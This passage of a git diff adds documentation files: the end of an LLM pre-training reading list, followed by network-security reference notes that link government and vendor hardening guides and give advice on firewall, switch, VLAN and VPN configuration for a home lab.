+- **Biderman et al., "Pythia: A Suite for Analyzing Large Language Models Across Training and Scaling" (2023)** -- Eleuther AI's controlled experiment suite. Invaluable for studying training dynamics. + +--- + +## Phase 3: Advanced + +At this point you understand how pre-training works. This phase is about understanding the frontier. + +### 3.1 Distributed Training + +- **Li et al., "PyTorch FSDP: Experiences on Scaling Fully Sharded Data Parallel" (2023)** -- Facebook's approach to sharding model parameters across GPUs. +- **Rajbhandari et al., "ZeRO: Memory Optimizations Toward Training Trillion Parameter Models" (2019)** -- DeepSpeed's ZeRO optimizer. Understand the three stages of partitioning. +- **Shoeybi et al., "Megatron-LM: Training Multi-Billion Parameter Language Models Using Model Parallelism" (2019)** -- tensor parallelism for transformers. +- **Narayanan et al., "Efficient Large-Scale Language Model Training on GPU Clusters Using Megatron-LM" (2021)** -- combines data, tensor, and pipeline parallelism (3D parallelism). +- **Huang et al., "GPipe: Easy Scaling with Micro-Batch Pipeline Parallelism" (2019)** -- pipeline parallelism with micro-batches. +- **DeepSpeed documentation (deepspeed.ai)** -- reference for ZeRO stages, mixed precision, gradient checkpointing. + +### 3.2 Scaling Laws (Advanced) + +- **Clark et al., "Unified Scaling Laws for Routed Language Models" (2022)** -- scaling laws for mixture-of-experts models. +- **Muennighoff et al., "Scaling Data-Constrained Language Models" (2023)** -- what happens when you run out of unique data? +- **DeepSeek-AI, "DeepSeek LLM: Scaling Open-Source Language Models with Longtermism" (2024)** -- DeepSeek's own scaling law analysis. + +### 3.3 Frontier Pre-Training Papers + +- **Groeneveld et al., "OLMo: Accelerating the Science of Language Models" (2024)** -- Allen AI's fully open model: code, data (Dolma), weights, training logs, evaluation. The most reproducible large-scale pre-training effort. +- **Meta, "The Llama 3 Herd of Models" (2024)** -- technical report for Llama 3 (8B, 70B, 405B). Extremely detailed on data pipeline, training recipe, and scaling. Essential reading. +- **DeepSeek-AI, "DeepSeek-V2" (2024)** -- multi-head latent attention (MLA) and DeepSeekMoE architecture. Novel attention compression for efficient inference. +- **DeepSeek-AI, "DeepSeek-V3 Technical Report" (2024)** -- 671B MoE trained on 14.8T tokens. FP8 training, load-balancing without auxiliary losses, multi-token prediction. One of the most cost-efficient frontier models. +- **Jiang et al., "Mistral 7B" (2023)** -- sliding window attention, grouped-query attention, efficient 7B model. +- **Jiang et al., "Mixtral of Experts" (2024)** -- sparse mixture of experts with 8 experts, 2 active. + +### 3.4 Data Quality and Filtering (Advanced) + +- **Marion et al., "When Less is More: Investigating Data Pruning for Pretraining LLMs at Scale" (2023)** -- perplexity-based data pruning. +- **Xie et al., "DoReMi: Optimizing Data Mixtures for Language Modeling" (2023)** -- learns optimal domain weights using a small proxy model. +- **Longpre et al., "A Pretrainer's Guide to Training Data" (2024)** -- comprehensive survey of pre-training data decisions. + +### 3.5 Curriculum Learning and Training Dynamics + +- **Bengio et al., "Curriculum Learning" (2009)** -- the original curriculum learning paper. +- **Chen et al., "Skill-it! A Data-Driven Skills Framework for Understanding and Training Language Models" (2023)** -- ordering pre-training data by skill acquisition. +- **Ibrahim et al., "Simple and Scalable Strategies to Continually Pre-train Large Language Models" (2024)** -- practical techniques for continued pre-training without catastrophic forgetting. + +### 3.6 Multi-Token Prediction and Alternative Objectives + +- **Gloeckle et al., "Better & Faster Large Language Models via Multi-token Prediction" (Meta, 2024)** -- predicting multiple future tokens simultaneously. Improves sample efficiency and downstream performance. Used in DeepSeek-V3. + +### 3.7 Infrastructure + +- **NVIDIA, "NVIDIA DGX SuperPOD" documentation** -- reference architecture for large-scale GPU clusters. +- **Patterson et al., "Carbon Emissions and Large Neural Network Training" (2021)** -- the environmental and hardware cost of training. +- **Luccioni et al., "Power Hungry Processing: Watts Driving the Cost of AI Deployment?" (2023)** -- energy costs of training and inference. + +--- + +## Phase 4: Research Practice + +### 4.1 Eleuther AI Ecosystem + +Eleuther AI has produced the most important open infrastructure for pre-training research. + +- **GPT-NeoX (github.com/EleutherAI/gpt-neox)** -- distributed training library. +- **lm-evaluation-harness (github.com/EleutherAI/lm-evaluation-harness)** -- standard evaluation framework. +- **The Pile (pile.eleuther.ai)** -- the dataset. Read the datasheet. + +### 4.2 Other Practical Resources + +- **Hugging Face, *The Large Language Model Course* (github.com/huggingface/llm-course)** -- structured course covering pre-training, evaluation, and deployment. +- **Hugging Face nanotron (github.com/huggingface/nanotron)** -- 3D parallelism training library. +- **LitGPT (github.com/Lightning-AI/litgpt)** -- clean implementation of multiple LLM architectures. +- **Stas Bekman, "The Technology Behind BLOOM Training" (huggingface.co blog, 2022)** -- detailed engineering post-mortem of training a 176B model. Extremely practical. +- **Stas Bekman, "Machine Learning Engineering Open Book" (github.com/stas00/ml-engineering)** -- comprehensive open reference on the engineering side. + +### 4.3 Surveys and Meta-Resources + +- **Zhao et al., "A Survey of Large Language Models" (2023, regularly updated)** -- broad survey. Use as a map. +- **Minaee et al., "Large Language Models: A Survey" (2024)** -- more focused on architecture and training methodology. + +--- + +## Suggested Reading Order + +If you want a linear path through this material: + +1. Karpathy's *Neural Networks: Zero to Hero* (video series) +2. "Attention Is All You Need" + Jay Alammar's illustrated version +3. Karpathy's "Let's build GPT" + nanoGPT hands-on +4. GPT-1 paper (short, sets the frame) +5. BPE paper + minbpe code +6. BERT paper (for contrast with causal LM) +7. T5 paper sections 2-3 (training objective comparison) +8. GPT-3 paper +9. Kaplan scaling laws +10. Chinchilla paper +11. LLaMA paper +12. AdamW paper + mixed precision paper +13. The Pile paper + deduplication paper +14. Pythia paper +15. ZeRO paper + Megatron-LM paper +16. Llama 3 technical report +17. OLMo paper +18. FineWeb paper +19. DeepSeek-V3 technical report +20. Stas Bekman's ML Engineering book (ongoing reference) + +--- + +## Notes on Approach + +**Read papers with code open.** Whenever possible, find the implementation. nanoGPT for the basic loop, Pythia/OLMo for full-scale training code, nanotron for distributed training. + +**Reproduce small-scale results.** You do not need a cluster to learn pre-training. Train a 124M parameter model on a single GPU. The dynamics are the same. + +**Track the data story.** The evolution from WebText to The Pile to RefinedWeb to FineWeb is as important as the architecture story. Data quality is the primary lever at scale. + +**Understand the economics.** Scaling laws determine how labs allocate millions of dollars in compute. If you cannot reason about compute-optimal training, you cannot contribute to pre-training research. diff --git a/doc/networking/government-guides/cisa.md b/doc/networking/government-guides/cisa.md new file mode 100644 index 0000000000000000000000000000000000000000..c774b571a38e8b26799790c92a02b66b8667cba8 --- /dev/null +++ b/doc/networking/government-guides/cisa.md @@ -0,0 +1,55 @@ +# CISA Publications + +## Core Resources + +### Known Exploited Vulnerabilities (KEV) Catalog +- URL: https://www.cisa.gov/known-exploited-vulnerabilities-catalog +- Searchable web + downloadable JSON/CSV. 1,484+ vulnerabilities. +- BOD 22-01 mandates federal remediation by stated dates. +- Patch these first regardless of CVSS score. + +### Zero Trust Maturity Model v2.0 (Apr 2023) +- URL: https://www.cisa.gov/zero-trust-maturity-model +- Five pillars: Identity, Devices, Networks, Applications/Workloads, Data +- Three cross-cutting: Visibility/Analytics, Automation/Orchestration, Governance +- Four maturity stages: Traditional, Initial, Advanced, Optimal + +### Shields Up +- Main: https://www.cisa.gov/shields-up +- Org guidance: https://www.cisa.gov/shields-guidance-organizations + +### Shields Ready (Critical Infrastructure Resilience) +- URL: https://www.cisa.gov/shields-ready + +### Secure by Design +- URL: https://www.cisa.gov/securebydesign + +### Cybersecurity Alerts and Advisories (real-time) +- URL: https://www.cisa.gov/news-events/cybersecurity-advisories + +### Best Practices Portal +- URL: https://www.cisa.gov/topics/cybersecurity-best-practices + +## Incident Response + +### IR Training Pathway +- PDF: https://www.cisa.gov/sites/default/files/2025-09/Incident-Response-Pathway_Course-Catalog-FY26-Update_FINAL-508.pdf + +### SIEM and SOAR Implementation Guidance (May 2025) +- URL: https://www.cisa.gov/news-events/alerts/2025/05/27/new-guidance-siem-and-soar-implementation + +### Digital Forensics Plan for Control Systems +- PDF: https://www.cisa.gov/sites/default/files/recommended_practices/Forensics_RP.pdf + +### Network Edge Device Protection +- URL: https://www.cisa.gov/resources-tools/resources/guidance-and-strategies-protect-network-edge-devices + +### Enhanced Visibility Guidance for Communications Infrastructure (Dec 2024) +- URL: https://www.cisa.gov/resources-tools/resources/enhanced-visibility-and-hardening-guidance-communications-infrastructure + +## Tools + +### RITA (Real Intelligence Threat Analytics) +- CISA page: https://www.cisa.gov/resources-tools/services/rita +- GitHub: https://github.com/activecm/rita +- Beacon detection, DNS tunneling, long connections, data exfil detection diff --git a/doc/networking/government-guides/corporate.md b/doc/networking/government-guides/corporate.md new file mode 100644 index 0000000000000000000000000000000000000000..1772fdb43f903fbca73ca88f44658ee437ae23fa --- /dev/null +++ b/doc/networking/government-guides/corporate.md @@ -0,0 +1,52 @@ +# Corporate Security Architecture + +## Google + +### BeyondCorp (Zero Trust) +- Overview: https://cloud.google.com/beyondcorp +- Original paper: https://research.google.com/pubs/archive/44860.pdf +- USENIX: https://www.usenix.org/publications/loginonline/beyondcorp-and-long-tail-zero-trust +- Eliminates privileged corporate LAN. Access based on device trust + user identity + context. +- Papers: "A New Approach to Enterprise Security", "Design to Deployment", "The Access Proxy", "Maintaining Productivity" + +### Infrastructure Security Design Overview +- Web: https://cloud.google.com/docs/security/infrastructure/design +- PDF: https://cloud.google.com/docs/security/infrastructure/design/resources/google_infrastructure_whitepaper_fa.pdf +- Physical security, Titan chip, service identity, inter-service encryption, storage encryption + +### BeyondProd (Zero Trust for Production) +- URL: https://cloud.google.com/docs/security/beyondprod +- Service-to-service auth, workload isolation, container security + +## Microsoft + +### Zero Trust Hub +- Main: https://learn.microsoft.com/en-us/security/zero-trust/ +- Deployment: https://learn.microsoft.com/en-us/security/zero-trust/deploy/overview +- Adoption framework: https://learn.microsoft.com/en-us/security/zero-trust/adopt/zero-trust-adoption-overview +- Architecture diagrams: https://learn.microsoft.com/en-us/security/zero-trust/zero-trust-tech-illus +- CISA ZTM guidance (Dec 2024): https://www.microsoft.com/en-us/security/blog/2024/12/19/new-microsoft-guidance-for-the-cisa-zero-trust-maturity-model/ +- DoD ZT guidance (Apr 2024): https://www.microsoft.com/en-us/security/blog/2024/04/16/new-microsoft-guidance-for-the-dod-zero-trust-strategy/ + +## Cloudflare + +### Security Architecture +- Reference: https://developers.cloudflare.com/reference-architecture/architectures/security/ +- Securing Data in Transit: https://developers.cloudflare.com/reference-architecture/diagrams/security/securing-data-in-transit/ +- SASE Architecture: https://developers.cloudflare.com/reference-architecture/architectures/sase/ +- Zero Trust Roadmap (PDF): https://cf-assets.www.cloudflare.com/slt3lc6tev37/9jyDLdW3VXPGwChDCCnrx/a4b7f7825e229f2caeaa1a12a2d16b24/Whitepaper_A-Roadmap-to-Zero-Trust-Architecture.pdf + +## CIS Benchmarks + +- Download: https://www.cisecurity.org/cis-benchmarks (free PDF for non-commercial) +- Learning: https://learn.cisecurity.org/benchmarks +- 100+ benchmarks across 25+ vendor families +- Cisco: https://www.cisecurity.org/benchmark/cisco +- Check Point: https://www.cisecurity.org/benchmark/checkpoint_firewall +- pfSense: https://www.cisecurity.org/benchmark/pfsense + +## MITRE ATT&CK + +- URL: https://attack.mitre.org/ +- Map every defensive control to specific ATT&CK techniques you're mitigating +- NSA Unfetter: https://github.com/nsacyber/unfetter diff --git a/doc/networking/government-guides/disa-stigs.md b/doc/networking/government-guides/disa-stigs.md new file mode 100644 index 0000000000000000000000000000000000000000..967b45f4bcc56d9b0ebd0efac7e42c6a7a996782 --- /dev/null +++ b/doc/networking/government-guides/disa-stigs.md @@ -0,0 +1,30 @@ +# DISA STIGs (Security Technical Implementation Guides) + +Gold standard for DoD configuration compliance. Machine-readable (SCAP/XCCDF format). + +## Downloads + +- STIG Portal: https://public.cyber.mil/stigs/downloads/ (no CAC required) +- STIG Viewer: download from same portal to read .xccdf files +- User Guide (v1r5, Feb 2025): https://dl.dod.cyber.mil/wp-content/uploads/stigs/pdf/U_STIG_Viewer_3-x_User_Guide_V1R5.pdf + +## Key STIGs for Network Security + +| STIG | Covers | +|------|--------| +| Network Infrastructure Router | Cisco IOS/IOS XE/IOS XR, Juniper router hardening | +| Network Infrastructure L2 Switch | Port security, VLAN config, DHCP snooping, dynamic ARP inspection | +| Network Firewall | Firewall rule design, policy management, logging | +| Network WLAN | WPA2/WPA3 Enterprise, rogue AP detection | +| Network VPN | VPN gateway config, cipher requirements | +| Network IDS/IPS | IDS/IPS deployment and tuning | +| Network DNS | DNS server hardening, DNSSEC | +| General Purpose OS (GPOS) | Linux/Unix baseline (RHEL, Ubuntu, SUSE, Oracle) | +| Canonical Ubuntu 24.04 | Latest Ubuntu LTS hardening | +| Cisco ASA | ASA firewall-specific config | + +## Automation + +- OpenSCAP: automated STIG compliance checking +- SCAP Compliance Checker: DISA's own scanning tool +- Ansible STIG roles: community-maintained automation for applying STIGs diff --git a/doc/networking/government-guides/nist.md b/doc/networking/government-guides/nist.md new file mode 100644 index 0000000000000000000000000000000000000000..5808e99c430483a3d2c13b59d7007bfe8c03b9ae --- /dev/null +++ b/doc/networking/government-guides/nist.md @@ -0,0 +1,53 @@ +# NIST Special Publications + +All at csrc.nist.gov/pubs/sp/. PDFs at nvlpubs.nist.gov. + +## Core Network Security + +### SP 800-53 Rev. 5 (Update 1) -- Security and Privacy Controls +- Page: https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final +- PDF: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf +- The master catalog. Every other framework (FedRAMP, CMMC, FISMA) maps back to this. + +### SP 800-171 Rev. 3 -- Protecting CUI in Nonfederal Systems +- Page: https://csrc.nist.gov/pubs/sp/800/171/r3/final +- 110 security requirements. Basis for CMMC. + +### SP 800-207 -- Zero Trust Architecture +- Page: https://csrc.nist.gov/pubs/sp/800/207/final +- PDF: https://nvlpubs.nist.gov/nistpubs/specialpublications/NIST.SP.800-207.pdf +- Canonical ZTA definition: logical components, deployment models, threats, migration. + +### SP 800-207A -- ZTA for Cloud-Native Applications +- PDF: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-207A.pdf + +### SP 800-123 -- Guide to General Server Security +- Page: https://csrc.nist.gov/pubs/sp/800/123/final + +### SP 800-41 Rev. 1 -- Firewalls and Firewall Policy +- PDF: https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-41r1.pdf +- Packet filtering, stateful inspection, application proxy, policy design. + +### SP 800-77 Rev. 1 -- Guide to IPsec VPNs +- Page: https://csrc.nist.gov/pubs/sp/800/77/r1/final +- PDF: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-77r1.pdf +- Updated 2020 with modern crypto recommendations. + +### SP 800-113 -- Guide to SSL VPNs +- PDF: https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-113.pdf + +### SP 800-125B -- Secure Virtual Network Configuration +- PDF: https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-125b.pdf +- Virtual segmentation, SDN controller security. + +## Wireless + +### SP 800-97 -- Establishing Wireless Robust Security Networks +- PDF: https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-97.pdf + +## Post-Quantum Cryptography + +- PQC Project: https://csrc.nist.gov/projects/post-quantum-cryptography +- Three PQC standards published August 2024 +- Hybrid TLS: X25519Kyber768 (classical ECDH + ML-KEM-768) +- NSA CNSA 2.0: quantum-safe required for new NSS by Jan 2027, full migration by 2035 diff --git a/doc/networking/government-guides/nsa.md b/doc/networking/government-guides/nsa.md new file mode 100644 index 0000000000000000000000000000000000000000..d38902c4ea41ddfc2ea94fb4be7e5fb09f4f5038 --- /dev/null +++ b/doc/networking/government-guides/nsa.md @@ -0,0 +1,108 @@ +# NSA Cybersecurity Publications + +All documents at media.defense.gov. GitHub repos at github.com/nsacyber. + +## Core Network Security + +### Network Infrastructure Security Guide (CTR, Oct 2023) +- PDF: https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF +- Covers: Network architecture, AAA, routing protocols, VLAN segmentation, port security, remote logging, monitoring, administration +- The single most comprehensive NSA document on network infrastructure + +### Hardening Network Devices (Aug 2020) +- PDF: https://media.defense.gov/2020/Aug/18/2002479461/-1/-1/0/HARDENING_NETWORK_DEVICES.PDF +- Covers: Disabling unnecessary services, securing management interfaces, firmware updates, password policies, SSH config (min 3072-bit RSA), SNMP hardening + +### Cisco Firepower Hardening Guide (Aug 2023) +- PDF: https://media.defense.gov/2023/Aug/02/2003272858/-1/-1/0/CTR_CISCO_FIREPOWER_HARDENING_GUIDE.PDF + +## Network Segmentation + +### Segment Networks and Deploy Application-Aware Defenses (Sep 2019) +- PDF: https://media.defense.gov/2019/Sep/09/2002180325/-1/-1/0/Segment%20Networks%20and%20Deploy%20Application%20Aware%20Defenses%20-%20Copy.pdf + +### Implement Network Segmentation in Cloud Environments (Mar 2024) +- PDF: https://media.defense.gov/2024/Mar/07/2003407861/-1/-1/0/CSI-CloudTop10-Network-Segmentation.PDF + +## VPN Hardening + +### Configuring IPsec Virtual Private Networks (v1.3, Feb 2025) +- PDF: https://media.defense.gov/2021/Sep/16/2002855928/-1/-1/0/CONFIGURING_IPSEC_VIRTUAL_PRIVATE_NETWORKS_2020_07_01_FINAL_RELEASE.PDF +- Covers: CNSSP 15-compliant algorithms (DH group 16, AES-256, SHA-384), IKE/IPsec config, eliminating weak ciphers +- The definitive government standard for IPsec VPN configuration + +### Selecting and Hardening Remote Access VPN Solutions (Sep 2021, joint NSA/CISA) +- Landing: https://www.nsa.gov/Resources/Multimedia/igphoto/2002863206/ +- Covers: VPN product selection criteria (prefer IKE/IPSec over SSL/TLS VPNs), MFA enforcement, patching cadence + +## Zero Trust + +### Embracing a Zero Trust Security Model (Feb 2021) +- PDF: https://media.defense.gov/2021/Feb/25/2002588479/-1/-1/0/CSI_EMBRACING_ZT_SECURITY_MODEL_UOO115131-21.PDF + +### Advancing Zero Trust Maturity -- Seven Pillar Series (2024) +- Network and Environment: https://media.defense.gov/2024/Mar/05/2003405462/-1/-1/0/CSI-ZERO-TRUST-NETWORK-ENVIRONMENT-PILLAR.PDF +- Data: https://media.defense.gov/2024/Apr/09/2003434442/-1/-1/0/CSI_DATA_PILLAR_ZT.PDF +- Application and Workload: https://media.defense.gov/2024/May/22/2003470825/-1/-1/0/CSI-APPLICATION-AND-WORKLOAD-PILLAR.PDF +- Visibility and Analytics: https://media.defense.gov/2024/May/30/2003475230/-1/-1/0/CSI-VISIBILITY-AND-ANALYTICS-PILLAR.PDF +- Automation and Orchestration: https://media.defense.gov/2024/Jul/10/2003500250/-1/-1/0/CSI-ZT-AUTOMATION-ORCHESTRATION-PILLAR.PDF + +### Zero Trust Implementation Guideline Primer (Jan 2026) +- PDF: https://media.defense.gov/2026/Jan/08/2003852320/-1/-1/0/CTR_ZERO_TRUST_IMPLEMENTATION_GUIDELINE_PRIMER.PDF + +### Zero Trust Implementation Guide Phase One (Jan 2026) +- PDF: https://media.defense.gov/2026/Jan/30/2003868308/-1/-1/0/CTR_ZIG_PHASE_ONE.PDF + +## DNS Security + +### Selecting a Protective DNS Service (v1.3, Mar 2025) +- PDF: https://media.defense.gov/2025/Mar/24/2003675043/-1/-1/0/CSI-Selecting-a-Protective-DNS-Service-v1.3.PDF + +### Adopting Encrypted DNS in Enterprise Environments (Jan 2021) +- PDF: https://media.defense.gov/2021/Jan/14/2002564889/-1/-1/0/CSI_ADOPTING_ENCRYPTED_DNS_U_OO_102904_21.PDF +- Covers: DoH/DoT deployment, blocking outbound port 53/853 to prevent bypass + +### Defending Your DNS Infrastructure (Jul 2019) +- PDF: https://media.defense.gov/2019/Jul/16/2002158054/-1/-1/0/DEFENDING%20YOUR%20DNS%20INFRASTRUCTURE_BANNERLESS%20.PDF + +## TLS/SSL + +### Eliminating Obsolete TLS Protocol Configurations (Jan 2021) +- Press: https://www.nsa.gov/Press-Room/News-Highlights/Article/Article/2462345/ +- GitHub (detection tools, configs): https://github.com/nsacyber/Mitigating-Obsolete-TLS +- Only TLS 1.2/1.3 permitted. SSL 2.0/3.0 and TLS 1.0/1.1 must be eliminated. + +## Wireless + +### WPA3 Cybersecurity Technical Report (Jul 2019) +- PDF: https://media.defense.gov/2019/Jul/16/2002158109/-1/-1/0/CTR-CYBERSECURITY-TECHNICAL-REPORT-WPA3.PDF + +## Strategy and Top-Level + +### Top Ten Cybersecurity Mitigation Strategies +- PDF: https://media.defense.gov/2019/Jul/16/2002158046/-1/-1/0/CSI-NSAS-TOP10-CYBERSECURITY-MITIGATION-STRATEGIES.PDF + +### Top Ten Cybersecurity Misconfigurations (Oct 2023, joint NSA/CISA) +- PDF: https://media.defense.gov/2023/Oct/05/2003314578/-1/-1/0/JOINT_CSA_TOP_TEN_MISCONFIGURATIONS_TLP-CLEAR.PDF +- Based on real red/blue team assessments + +### Enhanced Visibility and Hardening Guidance for Communications Infrastructure (Dec 2024) +- PDF: https://media.defense.gov/2024/Dec/03/2003596322/-1/-1/0/JOINT-GUIDANCE-ENHANCED-VISIBILITY-HARDENING-GUIDE-FOR-COMMS-INFRASTRUCTURE.PDF +- Anti-Salt Typhoon (PRC threat actors targeting telecom) + +## Other + +### Kubernetes Hardening Guide v1.2 (Aug 2022) +- PDF: https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF + +### Hardening SIEM Solutions (Oct 2019) +- PDF: https://media.defense.gov/2019/Oct/30/2002203425/-1/-1/0/HARDENING%20SIEM%20SOLUTIONS_20191008-NSAGOV.PDF + +## NSA GitHub (github.com/nsacyber) + +- Publications index: https://nsacyber.github.io/publications.html +- Open source tools: https://nsacyber.github.io/opensource.html +- Mitigating-Obsolete-TLS: detection tools and configs +- Hardware-and-Firmware-Security-Guidance: Spectre/Meltdown, Secure Boot +- Unfetter: ATT&CK framework-based defensive gap identification +- Certificate-Authority-Situational-Awareness: rogue CA detection diff --git a/doc/networking/hardware/firewalls.md b/doc/networking/hardware/firewalls.md new file mode 100644 index 0000000000000000000000000000000000000000..b07656284a29e4f4b536c006201941f88dee24d5 --- /dev/null +++ b/doc/networking/hardware/firewalls.md @@ -0,0 +1,59 @@ +# Hardware Firewalls + +## Open Source + +### OPNsense (recommended for new deployments) +- HardenedBSD base, 2 major releases/year, patches every ~2 weeks +- Built-in: Unbound DNS, Suricata IDS/IPS +- Hardening: disable root login, TOTP on all admin accounts, default-deny all interfaces, SSH key-only on non-standard port +- Guide: https://www.zenarmor.com/docs/network-security-tutorials/opnsense-security-and-hardening-best-practice-guide +- GitHub: https://github.com/LelandParker/opnsense-hardening +- Series: https://sysadmin102.com/2024/03/opnsense-security-and-hardening-episode-1/ + +### pfSense +- CIS Benchmark: https://www.cisecurity.org/benchmark/pfsense +- Guide: https://www.zenarmor.com/docs/network-security-tutorials/pfsense-security-and-hardening-best-practice-guide +- Combined guide: https://lgcybersec.co.uk/the-ultimate-guide-to-security-hardening-pfsense-and-opnsense-bulletproof-your-network-infrastructure/ + +## Hardware + +### Protectli Vault (best value) +- N100 or i5-7200U models +- Install OPNsense yourself, no vendor lock-in +- FW6C with i5 is nearly 2x the Netgate SG-5100 at $150 less + +### Netgate (pfSense maker) +- Pre-loaded with pfSense Plus, includes TAC support +- Models: 6100, 2100 MAX +- More expensive but integrated support + +### Intel N100 +- Sweet spot for DIY firewall/VPN box +- WireGuard at 900+ Mbps (near gigabit) +- Under $200 complete with 4 NICs + +Hardware guide: https://hometechhacker.com/11-great-choices-for-pfsense-hardware/ + +## Enterprise (for reference) + +What makes them different from open source: +- **Custom ASICs**: Fortinet SPUs accelerate threat detection in silicon +- **Inline ML**: Palo Alto inline ML detects zero-days, signature updates in seconds +- **Threat Intel**: proprietary networks vs community rules (ET Open) +- **Central management**: Panorama (PA), FortiManager (Fortinet) +- **Cost**: PA-400 from ~$1,000; FortiGate 40F from ~$400 + $500-2,000/yr subscriptions + +For home lab: open source + Suricata + ET Open = 90% of detection at zero recurring cost. + +## Comparison Table + +| Feature | OPNsense | pfSense | VyOS | OpenWrt | +|---------|----------|---------|------|---------| +| Base OS | FreeBSD (HardenedBSD) | FreeBSD | Debian Linux | Linux | +| IDS/IPS | Suricata built-in | Suricata/Snort pkg | Manual | Manual | +| Updates | 2 major/yr + biweekly | Slower | Rolling | Rolling | +| VPN | WireGuard, OpenVPN, IPsec | Same | Same | WireGuard, OpenVPN | +| Best for | Firewall/UTM | Firewall/UTM | BGP/OSPF router | WiFi/embedded | +| License | BSD (free) | Apache 2.0 (CE) / proprietary (Plus) | GPL | GPL | + +Recommendation: OPNsense for firewall, VyOS if you need advanced routing. Never OpenWrt for a firewall. diff --git a/doc/networking/hardware/physical-security.md b/doc/networking/hardware/physical-security.md new file mode 100644 index 0000000000000000000000000000000000000000..243d2d6e770e323d7542fe6e0ac82ac477239988 --- /dev/null +++ b/doc/networking/hardware/physical-security.md @@ -0,0 +1,37 @@ +# Physical Network Security + +## Air-Gapped Networks + +True air gap: no WiFi, no Bluetooth, no USB (unless sanitized), no internet. + +Design: +- Physical barriers: locked server rooms/cabinets +- Data diodes for one-way data flow (Owl Cyber Defense, Waterfall Security) +- Offline patch management with dedicated update stations +- Supply chain verification for all hardware +- Disable all wireless radios, USB ports, audio jacks (acoustic covert channels exist) + +Guide: https://cybersguards.com/air-gapped-networks/ + +## TEMPEST Shielding (NSA Emanation Security) + +Prevents electromagnetic emissions from being intercepted. + +Levels: +- Level A (NATO SDIP-27 Level A): full protection, shielded rooms +- Level B: reduced protection for less sensitive environments +- Level C: minimum protection + +Implementation: Faraday cages, shielded cables, filtered power lines. SCIFs per ICD 705. + +For home lab (practical alternatives): +- Shielded Ethernet cables (STP/FTP) +- Keep sensitive equipment away from windows +- Small Faraday enclosure for specific devices + +Caveat: Ben Gurion University research shows low-frequency magnetic fields from CPUs penetrate metal shields. Faraday alone does not guarantee air-gap integrity. + +References: +- https://www.majr.com/tempest-shielding/ +- https://www.euro-emc.co.uk/product/tempest-shielding +- ODINI paper: https://arxiv.org/pdf/1802.02700 diff --git a/doc/networking/hardware/switches-vlans.md b/doc/networking/hardware/switches-vlans.md new file mode 100644 index 0000000000000000000000000000000000000000..ad696c9a7dafe5891cbbfbbfffa345fe21b191aa --- /dev/null +++ b/doc/networking/hardware/switches-vlans.md @@ -0,0 +1,54 @@ +# Switches & VLAN Segmentation + +## Managed Switches + +### MikroTik (best value, steepest learning curve) +- CRS326-24G-2S+RM: 24 GbE + 2 SFP+ for ~$200 +- RouterOS: unlimited VLAN power, CLI-driven +- Guide: https://mikroradius.com/blog/how-to-configure-vlans-on-mikrotik-router-network-segmentation-made-easy + +### Ubiquiti UniFi (best UI, ecosystem lock-in) +- USW-Pro-24-PoE integrates with UniFi controller +- Easy VLAN setup but less flexible than MikroTik + +### Cisco Catalyst (enterprise standard) +- Catalyst 1000 series for lab use +- Full IOS CLI, real-world experience +- Most expensive + +Comparison: https://www.fccj.org/best-managed-network-switches-for-home-labs/ + +## Recommended VLAN Architecture + +| VLAN | Purpose | Notes | +|------|---------|-------| +| 1 | Management | Switch/AP/firewall admin interfaces ONLY | +| 10 | Trusted LAN | Workstations | +| 20 | Servers/Lab | STARGATE, services | +| 30 | IoT | No internet except specific endpoints | +| 40 | Guest | Internet only, no local access | +| 50 | DMZ | Public-facing services | +| 60 | Plan 9 | Cluster isolation (see plan9-security/) | + +Inter-VLAN routing through OPNsense with strict ACLs. + +Guide: https://mattadam.com/2025/09/17/how-to-use-vlans-and-subnets-in-home-lab-environments-without-losing-your-mind/ + +## Network TAPs vs SPAN Ports + +TAPs are superior for security monitoring: +- Passive, no latency, no performance impact +- Capture 100% of traffic including errors +- No IP address, can't be hacked +- Work even under high switch utilization + +SPAN: cheaper, just a config change, but drops packets under load. + +Vendors: +- Garland Technology: purpose-built, ~$200+ for copper +- Profitap: mid-range +- Dualcomm: budget, ~$50-80 on Amazon + +References: +- https://www.garlandtechnology.com/tap-vs-span +- https://insights.profitap.com/tap-vs-span diff --git a/doc/networking/hardware/vpn-appliances.md b/doc/networking/hardware/vpn-appliances.md new file mode 100644 index 0000000000000000000000000000000000000000..c06cf5485fb682def4a99f7ee04b30dd65d58752 --- /dev/null +++ b/doc/networking/hardware/vpn-appliances.md @@ -0,0 +1,68 @@ +# VPN Solutions + +## Hardware Acceleration + +- Enterprise: crypto offload ASICs/FPGAs (Cisco VAM, Fortinet SPUs, Sophos Xstream NPU) +- Home lab: Intel AES-NI on any modern CPU provides near-hardware performance +- pfSense/OPNsense crypto: https://docs.netgate.com/pfsense/en/latest/hardware/cryptographic-accelerators.html + +## WireGuard vs IPsec + +WireGuard wins for home lab: +- 4,000 lines of code vs ~400,000 for IPsec +- Faster, simpler, more auditable +- ChaCha20-Poly1305, Curve25519, BLAKE2s, SipHash24, HKDF +- "Opinionated" design prevents weak cipher selection + +### WireGuard Hardening +- Never reuse private keys across hosts +- Add PreSharedKey per peer (post-quantum protection layer) +- Restrict firewall to UDP 51820 only +- Store private keys with 600 permissions +- Rotate keys regularly +- WireGuard does not hide traffic characteristics + +Guides: +- https://contabo.com/blog/hardening-your-wireguard-security-a-comprehensive-guide/ +- https://ubuntu.com/server/docs/how-to/wireguard-vpn/security-tips/ + +## IPsec/IKEv2 with strongSwan + +Config: /etc/ipsec.conf and /etc/ipsec.secrets +- Use `!` suffix to prevent strongSwan appending defaults +- Recommended ESP: aes256gcm128-prfsha256-ecp256 +- chmod 600 /etc/ipsec.secrets +- Use X.509 certificates over PSK when possible + +NSA guidance: DH group 16, AES-256, SHA-384 (CNSSP 15 compliant) + +Guides: +- https://docs.strongswan.org/docs/latest/config/IKEv2.html +- NIST SP 800-77 Rev. 1 + +## 